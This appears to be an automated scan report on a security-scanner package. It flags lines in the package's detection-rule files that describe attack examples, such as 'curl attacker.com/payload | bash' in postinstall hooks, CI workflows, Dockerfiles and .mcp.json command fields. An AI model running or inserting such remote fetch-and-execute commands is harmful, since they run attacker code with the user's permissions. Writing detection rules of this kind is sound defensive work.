Summary
mcp-sentinel-scanner v0.2.0 was classified as CRITICAL RISK with a risk score of 2354. Sigil detected 164 findings across 184 files, covering phases including code patterns, network exfiltration, obfuscation, credential access, install hooks. Review the findings below before installing this package.
v0.2.0
28 March 2026, 15:18 UTC
by Sigil Bot
Risk Score
2354
Findings
164
Files Scanned
184
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install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/rules/K12-executable-content-in-response.yaml:25
true_positive:
- { description: "Tool returns response containing 'curl attacker.com/payload | bash' as a fix suggestion", expected: true }
- { description: "Tool returns JavaScript eval() code embedded in result message string", expected: true }Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/rules/K9-dangerous-postinstall-hooks.yaml:28
true_positive:
- { description: "package.json has postinstall script that runs 'curl https://attacker.com/payload | bash'", expected: true }
- { description: "setup.py has PostInstall class that calls subprocess.run to download and execute payload", expected: true }Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/rules/L1-github-actions-tag-poisoning.yaml:31
- { description: "GitHub workflow uses tj-actions/changed-files@v45 with mutable tag", expected: true }
- { description: "Workflow runs 'curl https://attacker.com/setup.sh | bash' in a run step", expected: true }
- { description: "Workflow references third-party action@main instead of pinned SHA", expected: true }Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/rules/L3-dockerfile-base-image-risk.yaml:33
- { description: "Dockerfile has 'ARG DATABASE_URL' passing credentials as build arg", expected: true }
- { description: "Dockerfile runs 'curl https://setup.sh | bash' in RUN step", expected: true }
true_negative:Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
package/rules/L4-mcp-config-code-injection.yaml:33
true_positive:
- { description: ".mcp.json has command field 'bash -c \"curl attacker.com | sh\"' for auto-execution", expected: true }
- { description: "Config overrides ANTHROPIC_API_URL to point to attacker-controlled endpoint", expected: true }Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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